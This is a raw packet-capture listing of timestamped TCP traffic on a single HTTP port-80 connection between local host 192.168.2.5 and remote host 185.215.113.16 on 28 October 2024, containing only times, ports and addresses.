Oct 28, 2024 21:40:16.045463085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.045519114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.046606064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.046619892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.046673059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.047801018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.048912048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.048923969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.048963070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.051374912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.051389933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.051418066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.052767038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.052784920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.052794933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.052812099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.052833080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.053239107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.053252935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.053292990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.054228067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.054239988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.054287910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.063563108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.064255953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.064270020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.064296961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.065113068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.065128088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.065156937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.066175938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.066193104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.066224098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.067347050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.067362070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.067398071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.068627119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.068639040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.068649054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.068671942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.068716049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.069950104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.069964886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.069972992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.070015907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.079221010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.107153893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.107203007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.107374907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.107394934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.107439995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.112231970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.112782001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.112795115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.112827063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.113677025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.113687992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.113717079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.114960909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.114973068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.115010977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.115685940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.115700006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.115732908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.116652966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.116667032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.116695881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.117544889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.117558956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.117572069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.117595911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.117630959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.118401051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.118412971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.118459940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.119323969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.119335890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.119378090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.119565964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.120218039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.120230913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.120273113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.121201992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.121213913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.121223927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.121267080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.122021914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.122035027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.122070074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.123200893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.123212099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.123243093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.123837948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.123851061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.123877048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.124752998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.124764919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.124794006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.125823021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.125834942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.125844955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.125861883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.125890017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.126559019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.126569986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.126621008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.127480984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.127495050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.127537966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.128302097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.128314972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.128353119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.129142046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.129154921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.129165888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.129210949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.129906893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.129920959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.129945993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.130842924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.130855083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.130881071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.131282091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.131572008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.131598949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.131624937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.132158041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.132170916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.132196903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.132953882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.132966995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.132976055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.132991076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.133016109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.133888006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.133899927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.133940935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.134265900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.134279013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.134332895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.135005951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.135020971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.135075092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.135797024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.135808945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.135847092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.136436939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.136451006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.136461973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.136492014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.137325048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.137336969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.137363911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.137886047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.137898922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.137938976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.138617992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.138629913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.138658047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.139347076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.139360905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.139394999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.154526949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.154613018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.154669046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.154681921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.154721022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.155566931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.155577898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.155622005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.156438112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.156451941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.156492949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.157279968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.157294035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.157351971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.158009052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.158020973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.158035040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.158081055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.158804893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.158816099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.158843994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.160149097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.160161972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.160197973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.161007881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.161020041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.161053896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.161305904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.161319017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.161329985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.161351919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.161379099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.162046909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.162061930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.162142038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.162693977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.162707090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.162765980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.163378000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.163389921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.163436890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.164187908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.164647102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.164659977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.164699078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.165280104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.165293932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.165326118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.166030884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.166043997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.166086912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.166632891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.166646957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.166685104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.167382002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.167395115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.167404890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.167438984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.167470932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.168056011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.168067932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.168157101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.168627977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.168657064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.168711901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.169258118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.190927982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.190994024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.191360950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.191387892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.191430092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.191514015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.191586971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.191632986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.191968918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.191979885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.192015886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.192459106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.192471027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.192512989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.192938089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.192950010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.192985058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.193239927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.193253994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.193301916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.193746090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.193758011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.193767071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.193789959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.194550037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.194602013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.241235018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.253323078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.253338099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.253348112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.253412008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.254344940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.254358053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.254368067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.254386902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.254409075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.255691051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.255703926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.255716085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.255750895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.256589890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.256606102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.256618023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.256629944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.256645918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.256686926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.257807970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.257819891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.257831097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.257853031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.257875919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.258770943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.258784056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.258827925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.259697914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.259711027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.259721041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.259762049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.260512114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.260526896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.260538101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.260546923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.260570049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.261291981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.261305094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.261315107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.261327028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.261344910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.261368990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.262168884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.262221098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.262232065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.262257099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.263273001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.263284922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.263300896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.263324976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.263350010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.264110088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264132023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264143944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264154911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264167070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.264198065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.264744997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264756918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264766932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.264800072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.265719891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.265731096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.265742064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.265763998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.265796900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.266423941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.266436100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.266448021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.266460896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.266477108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.266503096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.267616987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.267628908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.267638922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.267678976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.270232916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.270287991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.275991917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.276004076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.276057005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.276257038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.276269913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.276281118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.276292086 CET	80	49712	185.215.113.16	192.168.2.5
